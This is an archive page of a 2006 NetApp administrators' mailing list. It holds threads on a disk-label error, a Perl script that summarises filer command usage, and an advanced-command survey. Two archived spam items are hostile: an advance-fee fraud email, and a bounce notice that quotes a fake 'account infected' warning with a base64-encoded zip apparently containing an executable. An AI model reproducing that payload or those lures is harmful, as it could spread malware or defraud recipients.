toasters May 2006

toasters@lists.teaparty.net

103 participants
118 discussions

RE: downgrading the firmware on NetApp drives
by Glenn Walker 24 May '06

24 May '06

Label erase 7.54 is the command if I recall. My recommendation is to call NetApp support and have them walk you through it. The BEST course of action is to have the drive with the 'bad' label replaced via RMA. Glenn ________________________________ From: owner-toasters(a)mathworks.com [mailto:owner-toasters@mathworks.com] On Behalf Of Nathan G. Mitchell Sent: Tuesday, May 23, 2006 10:29 PM To: George, Andrew; toasters(a)mathworks.com Subject: RE: downgrading the firmware on NetApp drives I wish the old machine still existed so that I could zero the old drive on that machine. That would sure help! Even in priv set diag I don't see the disk_erase_label command. The bad drive is 7.54. What would be the syntax for the command and what priv would I have to use to execute it? I hope I don't do something horrible and erase all the disklabels or something. Am I looking in the wrong place? How do I use the "ok" at the boot prompt? -- nate ________________________________ From: George, Andrew [mailto:georgea@anz.com] Sent: Tuesday, May 23, 2006 9:20 PM To: Nathan G. Mitchell; toasters(a)mathworks.com Subject: RE: downgrading the firmware on NetApp drives Hi, Thats not a firmware problem thats the disk label. Essentially the disk was removed from a filer running a later version of OnTap so the version of OnTap in the filer thats trying to read it can't understand it. Theres two possible ways of fixing it (that I know of, one of the gurus might no a better way) 1) Put the disk back in the old system (or a system running a later version of OnTap) and then zero the disk 2) Reboot the filer and use the label erase command (I might be rmisrmembering the actual command..it's documented on Now) which is a command from the Ok prompt Andrew ________________________________ From: owner-toasters(a)mathworks.com [mailto:owner-toasters@mathworks.com] On Behalf Of Nathan G. Mitchell Sent: Wednesday, 24 May 2006 10:10 AM To: toasters(a)mathworks.com Subject: downgrading the firmware on NetApp drives I found a 36GB NetApp drive for my f740 with FC9 shelves and when I put it in the machine, it said: Tue May 23 19:14:07 EDT [raid.assim.disk.badlabelversion:error]: The label on disk 7.54 (S/N 3CD0FN3X000021098HUD) is a newer version than that supported by this software. Either remove the disk or upgrade the system software. Of course, the disk_fw_update command didn't work because the versio of the firmware is NEWER than what's supported by my OS (Data Ontap 6.4.4p7). How does one go aboot DOWNGRADING the firmware on a NetApp drive? -- nate

2 1

RE: downgrading the firmware on NetApp drives
by Nathan G. Mitchell 24 May '06

24 May '06

I wish the old machine still existed so that I could zero the old drive on that machine. That would sure help! Even in priv set diag I don't see the disk_erase_label command. The bad drive is 7.54. What would be the syntax for the command and what priv would I have to use to execute it? I hope I don't do something horrible and erase all the disklabels or something. Am I looking in the wrong place? How do I use the "ok" at the boot prompt? -- nate ________________________________ From: George, Andrew [mailto:georgea@anz.com] Sent: Tuesday, May 23, 2006 9:20 PM To: Nathan G. Mitchell; toasters(a)mathworks.com Subject: RE: downgrading the firmware on NetApp drives Hi, Thats not a firmware problem thats the disk label. Essentially the disk was removed from a filer running a later version of OnTap so the version of OnTap in the filer thats trying to read it can't understand it. Theres two possible ways of fixing it (that I know of, one of the gurus might no a better way) 1) Put the disk back in the old system (or a system running a later version of OnTap) and then zero the disk 2) Reboot the filer and use the label erase command (I might be rmisrmembering the actual command..it's documented on Now) which is a command from the Ok prompt Andrew ________________________________ From: owner-toasters(a)mathworks.com [mailto:owner-toasters@mathworks.com] On Behalf Of Nathan G. Mitchell Sent: Wednesday, 24 May 2006 10:10 AM To: toasters(a)mathworks.com Subject: downgrading the firmware on NetApp drives I found a 36GB NetApp drive for my f740 with FC9 shelves and when I put it in the machine, it said: Tue May 23 19:14:07 EDT [raid.assim.disk.badlabelversion:error]: The label on disk 7.54 (S/N 3CD0FN3X000021098HUD) is a newer version than that supported by this software. Either remove the disk or upgrade the system software. Of course, the disk_fw_update command didn't work because the versio of the firmware is NEWER than what's supported by my OS (Data Ontap 6.4.4p7). How does one go aboot DOWNGRADING the firmware on a NetApp drive? -- nate

1 0

RE: downgrading the firmware on NetApp drives
by George, Andrew 24 May '06

24 May '06

Hi, Thats not a firmware problem thats the disk label. Essentially the disk was removed from a filer running a later version of OnTap so the version of OnTap in the filer thats trying to read it can't understand it. Theres two possible ways of fixing it (that I know of, one of the gurus might no a better way) 1) Put the disk back in the old system (or a system running a later version of OnTap) and then zero the disk 2) Reboot the filer and use the label erase command (I might be rmisrmembering the actual command..it's documented on Now) which is a command from the Ok prompt Andrew _____ From: owner-toasters(a)mathworks.com [mailto:owner-toasters@mathworks.com] On Behalf Of Nathan G. Mitchell Sent: Wednesday, 24 May 2006 10:10 AM To: toasters(a)mathworks.com Subject: downgrading the firmware on NetApp drives I found a 36GB NetApp drive for my f740 with FC9 shelves and when I put it in the machine, it said: Tue May 23 19:14:07 EDT [raid.assim.disk.badlabelversion:error]: The label on disk 7.54 (S/N 3CD0FN3X000021098HUD) is a newer version than that supported by this software. Either remove the disk or upgrade the system software. Of course, the disk_fw_update command didn't work because the versio of the firmware is NEWER than what's supported by my OS (Data Ontap 6.4.4p7). How does one go aboot DOWNGRADING the firmware on a NetApp drive? -- nate

1 0

downgrading the firmware on NetApp drives
by Nathan G. Mitchell 24 May '06

24 May '06

I found a 36GB NetApp drive for my f740 with FC9 shelves and when I put it in the machine, it said: Tue May 23 19:14:07 EDT [raid.assim.disk.badlabelversion:error]: The label on disk 7.54 (S/N 3CD0FN3X000021098HUD) is a newer version than that supported by this software. Either remove the disk or upgrade the system software. Of course, the disk_fw_update command didn't work because the versio of the firmware is NEWER than what's supported by my OS (Data Ontap 6.4.4p7). How does one go aboot DOWNGRADING the firmware on a NetApp drive? -- nate

1 0

command usage summary, 2006
by Tim Thompson 23 May '06

23 May '06

The following is a request similar to one made here a little over a year ago. The recent survey about advanced commands was very useful, and reminded us that it would be good to refresh and augment our data about command usage. Attached below is a perl script that will look at the auditlogs of a filer running Data ONTAP and summarize command, sub-command, and api usage. Only a summary is produced - it shouldn't contain any customer-sensitive information. It will not put any load on the filer, and should consume only a minute or so of CPU time on the machine running the perl script (depending on how large your auditlog files are). We would greatly appreciate it if anyone using Data ONTAP could run this script on as many filers as possible and send the output to usage(a)netapp.com (a special address set up to collect this data). Usage is described in the comments at the top of the script. If you don't feel comfortable running a script you've received through email, you can run the identical script that you can find in the Toolchest section of NetApp's NOW site: http://now.netapp.com/NOW/download/tools/cmd_summary/ Thanks very much for your help. ...Tim Thompson...Network Appliance, Inc...tjt(a)netapp.com... #!/usr/local/bin/perl # # This script summarizes command and api usage on a # Network Appliance filer running Data ONTAP. In other words, it counts # how many times each command/sub-command has been used, by # looking at the auditlogs. # # Usage on Unix is: # # cd /mnt/$FILER/etc # where /mnt/$FILER is the mounted root volume # perl cmd_summary.pl # # or on Windows: # # cd F: # where F: is the mounted root volume # cd \etc # perl cmd_summary.pl # # In other words, change directories to the /etc directory of the # filer's root volume, and run this script. The script looks at # the messages file and all the auditlog files, and summarizes # command and api usage. # # The output of the command will look like this: # ############################################################################ # System tweety (ID 0033611543) is running NetApp Release 7.0.1 # count=167 rsh=sysconfig -a # count=28 rsh=version # count=11 rsh=options autosupport.enable # count=571 api=options-get # count=100 api=options-set # count=23 cons=version ############################################################################ # # The lines in this output specify the frequency count of things invoked in # three categories: rsh (commands submitted using rsh), cons (commands # submitted using telnet or on the serial console), and api (things executed # using the ONTAPI API interface). my %rshusage; my %consusage; my %apiusage; my $system = ""; my $anyerr = 0; foreach $f (<messages log/auditlog*>) { if ( ! open(FF, $f) ) { print STDERR "Error: unable to open $f - $!\n\n" ."This program must be run in the " ."'etc' directory of the filer's root volume.\n\n"; $anyerr = 1; next } while (<FF>) { if ( /kern.log.rotate:/ || /log_rotate:/ ) { chop; $system = $_; $system =~ s/.*System /System /; } elsif ( /RSH INPUT COMMAND/ ) { my $s = $_; $s =~ s/.*RSH INPUT COMMAND is //; my @words = split(/[\s;]/,$s); my $cmd = $words[0]." ".$words[1]; if ( $words[0] ne "" ) { if ( not defined $rshusage{$cmd} ) { $rshusage{$cmd} = 1; } else { $rshusage{$cmd} += 1; } } } elsif ( /IN:console shell:/ ) { my $s = $_; $s =~ s/.*console shell://; my @words = split(/\s/,$s); my $cmd = $words[0]." ".$words[1]; if ( $words[0] ne "" ) { if ( not defined $consusage{$cmd} ) { $consusage{$cmd} = 1; } else { $consusage{$cmd} += 1; } } } elsif ( /Java_Thread.*:API:in:/ && ! /relog syslog/ ) { chop; my $api = $_; $api =~ s/[^<]*<//; $api =~ s/\/?>.*//; if ( not defined $apiusage{"Java-$api"} ) { $apiusage{"Java-$api"} = 1; } else { $apiusage{"Java-$api"} += 1; } } elsif ( /:API:in:/ && ! /relog syslog/ ) { chop; my $api = $_; $api =~ s/.*\/admin\'><//; $api =~ s/.*version="..."><//; $api =~ s/\/?>.*//; if ( not defined $apiusage{$api} ) { $apiusage{$api} = 1; } else { $apiusage{$api} += 1; } } } } if ( $system ne "" ) { print("$system\n"); } foreach $key ( sort { $rshusage{$b} <=> $rshusage{$a} } keys %rshusage ) { print("count=$rshusage{$key} rsh=$key\n"); } foreach $key ( sort { $consusage{$b} <=> $consusage{$a} } keys %consusage ) { print("count=$consusage{$key} cons=$key\n"); } foreach $key ( sort { $apiusage{$b} <=> $apiusage{$a} } keys %apiusage ) { print("count=$apiusage{$key} api=$key\n"); } exit($anyerr);

1 0

My Success(From Dr William Karls)
by Mr William Karls 23 May '06

23 May '06

From Dr Williams Karls Seoul, South Korea. Dear I'm happy to inform you about my success in getting the fund transferred under the cooperation of a new partner from South Korea. You might find it so difficult to remember me. Though, it is indeed, a very long time. On my singular, I am much delighted and privileged to contact you again, after couple of weeks now. Presently i'm in Seoul for an investment projects with my own share of the total sum.meanwhile,i didn't forget your past efforts and attempts to assist me in transferring those funds despite that it failed us some how. Now contact my Personal Assistance Mr Kennedy Agumefa his email address is kennedy_Agumefa(a)yahoo.fr ask him to send you the total sum of $500.000.00 in a Certificate Bank Draft which I kept for your compensation for all the past efforts and attempts to assist me in this matter. I appreciated your efforts at that time very much. so feel free and get in touched with my Personal Assistance Mr Kennedy Agumefa and instruct him where to send the amount to you.Please do let me know immediately you receive it so that we can share the joy after all the sufferness at that time. in the moment, i am very busy here because of the investment projects which me and the new partner are having at hand, Finally, remember that I had forwarded instruction to the My Personal Assistance on your behalf to receive the draft, so feel free to get in touch with my personal Assistance Mr Kennedy Agumefa and he will send the amount to you without any delay. Thanks and God Bless. Regards Dr William Karls

1 0

Again (and complete): Summary 'advanced mode commands' survey
by Geissler, Norbert 23 May '06

23 May '06

Hello toasters, sorry for having provided an incomplete survey result list. Some 's...' to 'z...'-commands were missing in the first email. Thanks to Tim Thompson for the hint ! Enjoy, Norbert PS.: Of course some of you are right, this survey doesn't reflect additional command possibilities in 'advanced mode' from 'admin mode' commands ... Below you'll find the new complete results of the 'advanced mode commands' survey. The top three most used 'advanced mode' commands are (in this order): 1) ls 2) led_on 3) statit All the best, Norbert ONTAP 7G advanced mode commands survey ====================================== Question: Do you use the following advanced mode commands in your daily work ? Please mark with: f for frequently s for seldom n for never Result: Total number of participants: 19 Answers: command f s n ---------------------------------- Result: Total number of participants: 19 Answers: command f s n ---------------------------------- blink_off 1 2 16 blink_on 1 3 15 bootfs 0 4 15 cmos_read 0 0 19 cmos_write 0 0 19 com 0 1 18 dd 0 10 9 disk_list 2 9 8 disk_stat 2 6 11 exit 8 1 10 getXXbyYY 0 2 17 hammer 2 13 4 ic 0 2 17 led_off 5 9 5 led_off_all 2 6 11 led_on 7 10 2 led_on_all 1 7 11 led_on_off 1 8 10 led_test 0 6 13 led_test_one 0 5 14 lmem_stat 0 2 17 log 0 4 15 ls 11 7 1 mbstat 0 6 13 mem_scrub_stats 1 2 16 nfs_hist 3 4 12 ontapi 1 0 18 panic 0 9 10 perf 2 6 11 ps 4 9 6 registry 1 10 7 remote 0 1 18 rm 3 7 9 rod 0 1 18 scsi 0 3 16 show_bios_log 0 0 19 showfh 0 2 17 showfh4 0 0 19 sm_mon 0 3 16 smb_hist 1 3 15 snet 0 0 19 statit 7 8 4 syslog 1 7 12 tape_qual 1 1 17 test_lcd 1 1 17 toe 0 0 19 wafl 2 7 10 wafl_susp 3 1 15 ----------------------------------------------------------------------- SIEMENS Siemens Business Services GmbH & Co. OHG Otto-Hahn-Ring 6 81739 München Norbert Geissler Tel.: +49 (0)89 636 48132 SBS ORS GOP DC G ST1 Fax: +49 (0)89 636 28889 Managed Storage E-Mail: norbert.geissler(a)siemens.com -----------------------------------------------------------------------

1 0

RE: Summary 'advanced mode commands' survey
by Glenn Walker 23 May '06

23 May '06

Be wary of the java shell commands. Older versions of ONTAP had issues with java and memory utilization. It's 'unsupported' and should be treated as such. Glenn -----Original Message----- From: owner-toasters(a)mathworks.com [mailto:owner-toasters@mathworks.com] On Behalf Of Darragh, Stephen J (CSC) (US SSA) Sent: Sunday, May 21, 2006 4:33 PM To: toasters(a)mathworks.com Subject: RE: Summary 'advanced mode commands' survey Hi, My personal favorite is "java netapp.cmds.jsh" This gives you cd ; ls ; ls -l; mv and rm Stephen Darragh -----Original Message----- From: owner-toasters(a)mathworks.com [mailto:owner-toasters@mathworks.com] On Behalf Of Jerry Sent: Sunday, May 21, 2006 8:03 AM To: Dirk Schmiedt; Geissler, Norbert Cc: toasters(a)mathworks.com Subject: Re: Summary 'advanced mode commands' survey Wholly crap. I've been wishing there was an "ls" for simple stuff in the filer. Now all they need is vi. --- Dirk Schmiedt <dirk.schmiedt(a)munich.netsurf.de> wrote: > Hello Norbert > > Thank you for your survey and the time you invested! > I have some suggestions for extensions for the next > survey. Just in case you > plan it... ;-) > > I just stumbled on be being forced using the > "advanced mode" to get access to > imho very useful advanced arguments for standard > commands. > > e.g. > > "snap status" ( to see the sequence of the > snapshot numbers and the > explanations, which snap is still busy and currently > is blocking your planned > snapshot activities) > > cf, fcadmin, storage, and many other commands also > have some beautiful > extensions. > > > > I'ld also like to add some more advanced commands > for the next advanced > command list: > > wafl_susp (in combination with statit) for > performance bottleneck analysis. > > wafl scan measure_layout (To measure the > fragmentation without starting a > reallocation) > > Best regards and congratulation about your "first > petabyte". :-) > Dirk > > > Hello toasters, > > > > below you'll find the results of the 'advanced > mode commands' survey. > > The number of responses hasn't been overwhelming > as expected. > > Anyway, thank you very much to all 19 > participants. > > > > The top three most used 'advanced mode' commands > are (in this order): > > 1) ls > > 2) led_on > > 3) statit > > > > All the best, > > Norbert > > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com

1 0

failure notice
by MAILER-DAEMON＠mailq.onatel.bf 22 May '06

22 May '06

Hi. This is the qmail-send program at mailq.onatel.bf. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. <mawule(a)fasonet.bf>: user is over quota --- Below this line is a copy of the message. Return-Path: <toasters(a)mathworks.com> Received: (qmail 11118 invoked by uid 89); 22 May 2006 20:11:26 -0000 Delivered-To: fasonet.bf-gexi(a)fasonet.bf Received: (qmail 11105 invoked from network); 22 May 2006 20:11:25 -0000 Received: from unknown (HELO mathworks.com) (212.52.137.200) by 0 with SMTP; 22 May 2006 20:11:25 -0000 From: toasters(a)mathworks.com To: gexi(a)fasonet.bf Subject: Status Date: Mon, 22 May 2006 20:21:54 +0000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0000_CB2C775D.701A8B8B" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 This is a multi-part message in MIME format. ------=_NextPart_000_0000_CB2C775D.701A8B8B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear user gexi(a)fasonet.bf, We have found that your account has been used to send a large amount of unsolicited email messages during this week. Obviously, your computer had been infected and now runs a hidden proxy server. We recommend you to follow our instruction in the attached text file in order to keep your computer safe. Virtually yours, The fasonet.bf team. ------=_NextPart_000_0000_CB2C775D.701A8B8B Content-Type: application/octet-stream; name="file.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="file.zip" UEsDBAoAAAAAALuitjSMe0VkEgUAABIFAAAIAAAAZmlsZS56aXBQSwMECgAAAAAAu6K2NBw+WAeg BAAAoAQAAAgAAABmaWxlLmV4ZX1nFbcrZnWMVqxjgIKyrlqCxfcggtTfp32Dk8l93DEJMbDZ2Bp7 u2fePWT5Gnu7b8GLEtEO5yY9Gnuv3hp7u07BijlEb+5lNjG5wozqQU9Z6kFbD+pBW4YxJYXJ6kFP gBArAMk74GIKL3z/Pzvgdv4vfP8+0dw5XDvgdkY74HbsvaOfpZZo/T9SOk4WTexy/pZo/T2WaOkt UjlBH1LWGXdaC1jJbUW85nHALt13Ty8yqjKks2VcpzSqCIBJr/SnMr1T7eFNSKC0lpibnk1aJZ6W mJtalpibqVLaNDhSyVMIV+Wsb6c9Jl64QZK+YRdRYadKBv6wGR991xpTkWEbg7a9cGoeUqpeuVK2 fGGWuwjZUpirj5a7HByWuxzHUtRTnDSPoIvEeFE2xISWn9uzZuQfRMJP20BFesSc7rLbDnrLVxBe DHzbPKqnG2pHARE+N3zbPKunI7TxfNs8v7hcpGZq7Ab5mvdRioVAPlLRVJjDhQg5eYWMWdmFQDDo QE7zDm84sbiA4UVqgL4HJETzx4rAS79hn7tTGoCciouax05LbI8kpEdERstHRFKRnHna64MjGVuc nGscU9jbQkdEUmHrzL4cwAfcthvHi0wEVxP1Gz4ImRsIPILcgnGDBHZNJNUM0rY6hQoHJQUZFCWP 5Ts6oOUd6lstT+knMOo6oOXVc89XqV7zsWCDF9vkRTDO9pymDTeD1AOLWAQhYlgEIfm85swFly2u 0lN/DqOXLa5BTFDvvVMOh7qXLoY+U2c+hP4ts+vV5sWr1ebF84/pq8DV5tEq1ebF/hHAQSYO38gD turdVVlm4nqdIav+QxUiq50hv4udIav7RvGKn0bh5iNhXWT6SpYGV5Eg2riR6SFwXgqbC47TtwpX r5qlSpYGvL1VSNpSjmJzlp4qipaeKqNNZsnylp4+e1L5djFS2Ngj8nxyLB3QQD7D0Q8QAkWQyx3T L4ICpp7h2bcQrh3mPLeGvrXsrXXD5aDJX92tddelrXXDMWlnUAp2tYlgaT9b19ljiLzuLWcWKaZy viljpZ82+eb3NuId6ylw1bXmNHd/vQU4rZbOWnlSZ1l9ls5ayVKKUj1NDNDWls5aOE2Z0gnaDGKM NWibduVbnXLs8ijuKjeZwTWX/LA1ZT+tKvsA5e3NJzAdI6dCArP1pgJc3Z0CJc6/xgZRvNszaxwC Tfn9bSWwi53luhWC4EPagr+mtEbu0sZG7sYpUnJPfkbu0tenknjljFkON1eZTMWMWRqqmMWHF1dm A4RINkRqV0i5FINBQON2v74e0KONGaiKNo9sKCwZc7zJF7W/CYxs7Xu194Q/LsDKwh7Qu8nD3E9J KsF6DQTcT0mzGAgIeNxPSaO8Gilrl9FfUJfRSypMAX/ETAjOT1NgcndMwMful9Ff9a88MuVAsAkQ Xyd+RYT3RDJfBhh9QOcYnpZMJyCE91A1Lquiyt5VnNIYVY43GFXrGsHZBbPBB5AqEfxdMn1JbzNe vd/3sSZxrq5/ORNoQ/ZB5bkd8rEHLI6xMeD2sSSzZ4k0DGG2Y/OVeYBJhKL/bupmtTFFov9uqokF ojZ2QfCPUEsBAhQACgAAAAAAu6K2NBw+WAegBAAAoAQAAAgAAAAAAAAAAAAgAAAAAAAAAGZpbGUu ZXhlUEsFBgAAAAABAAEANgAAAMYEAAAAAFBLAQIUAAoAAAAAALuitjSMe0VkEgUAABIFAAAIAAAA AAAAAAAAIAAAAAAAAABmaWxlLnppcFBLBQYAAAAAAQABADYAAAA4BQAAAAA= ------=_NextPart_000_0000_CB2C775D.701A8B8B--

1 0

Summary 'advanced mode commands' survey
by Geissler, Norbert 22 May '06

22 May '06

Hello toasters, below you'll find the results of the 'advanced mode commands' survey. The number of responses hasn't been overwhelming as expected. Anyway, thank you very much to all 19 participants. The top three most used 'advanced mode' commands are (in this order): 1) ls 2) led_on 3) statit All the best, Norbert ONTAP 7G advanced mode commands survey ====================================== Question: Do you use the following advanced mode commands in your daily work ? Please mark with: f for frequently s for seldom n for never Result: Total number of participants: 19 Answers: command f s n ---------------------------------- blink_off 1 2 16 blink_on 1 3 15 bootfs 0 4 15 cmos_read 0 0 19 cmos_write 0 0 19 com 0 1 18 dd 0 10 9 disk_list 2 9 8 disk_stat 2 6 11 exit 8 1 10 getXXbyYY 0 2 17 hammer 2 13 4 ic 0 2 17 led_off 5 9 5 led_off_all 2 6 11 led_on 7 10 2 led_on_all 1 7 11 led_on_off 1 8 10 led_test 0 6 13 led_test_one 0 5 14 lmem_stat 0 2 17 log 0 4 15 ls 11 7 1 mbstat 0 6 13 mem_scrub_stats 1 2 16 nfs_hist 3 4 12 ontapi 1 0 18 panic 0 9 10 perf 2 6 11 ps 4 9 6 registry 1 10 7 remote 0 1 18 rm 3 7 9 rod 0 1 18 scsi 0 3 16 show_bios_log 0 0 19 showfh 0 2 17 showfh4 0 0 19 sm_mon 0 3 16 ----------------------------------------------------------------------- SIEMENS Siemens Business Services GmbH & Co. OHG Otto-Hahn-Ring 6 81739 München Norbert Geissler Tel.: +49 (0)89 636 48132 SBS ORS GOP DC G ST1 Fax: +49 (0)89 636 28889 Managed Storage E-Mail: norbert.geissler(a)siemens.com -----------------------------------------------------------------------

3 3

← Newer
1
2
3
4
5
6
7
...
12
Older →

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

2001

2000

1999

1998

1997

toasters May 2006